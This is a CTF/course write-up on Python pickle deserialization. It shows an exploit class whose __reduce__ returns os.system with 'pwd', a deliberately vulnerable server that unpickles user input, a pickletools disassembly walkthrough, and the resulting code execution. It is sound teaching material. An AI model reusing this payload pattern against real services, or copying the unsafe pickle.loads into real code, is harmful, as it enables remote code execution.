Simple Web 0x15.5(Pickle)

Simple Web 0x15.5(Pickle)

tags: NTUSTWS CTF Web

Background - Pickle

Python magic method: __reduce__ which is used to define what needs to be done when deserializing.

Source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# exploit.py
import pickle
import os
import pickletools

class exploit(object):
    def __reduce__(self):
        return (os.system, ('pwd',))
    

serialized = pickle.dumps(exploit())
print(bytes.hex(serialized))
optim_s = pickletools.optimize(serialized)
print(pickletools.dis(serialized))
print(pickletools.dis(optim_s))

1
2
3
4
5
# server_app.py
import pickle

serialized = bytes.fromhex(input('Data: '))
pickle.loads(serialized)

Output & Analyze

In Linux

  • GLOBAL 'posix system': import posix system(which is a library in linux)
  • BINPUT 0: put the top stack to position 0 at Memo structure(array)
  • BINUNICODE: push string ‘pwd’ to stack top
  • TUPLE1: let the element of top stack be a tuple type
  • REDUCE:
    1
    2
    3
    4
      args = stack.top() # which is 'pwd' in tuple type
      func = stack.top() # which is 'posix system'
      stack.push(func(args)) 
      # then it'll execute os.system('pwd') and push the output to stack
    

In Windows

Much similar with the outcome on linux environment.

Analyze

How to RCE?

1
2
$ python exploit.py | python server_app.py
Data: /home/sbk6401/NTUSTWS/deserialization

How did it do?

  1. First, exploit.py will serialize the exploit function and turned it to byte.hex then send it server_app.py
  2. Then server_app.py will deserialize it and during the process, it’ll execute magic method __reduce__, suddenly, it’ll execute os.system('pwd') at the same time → RCE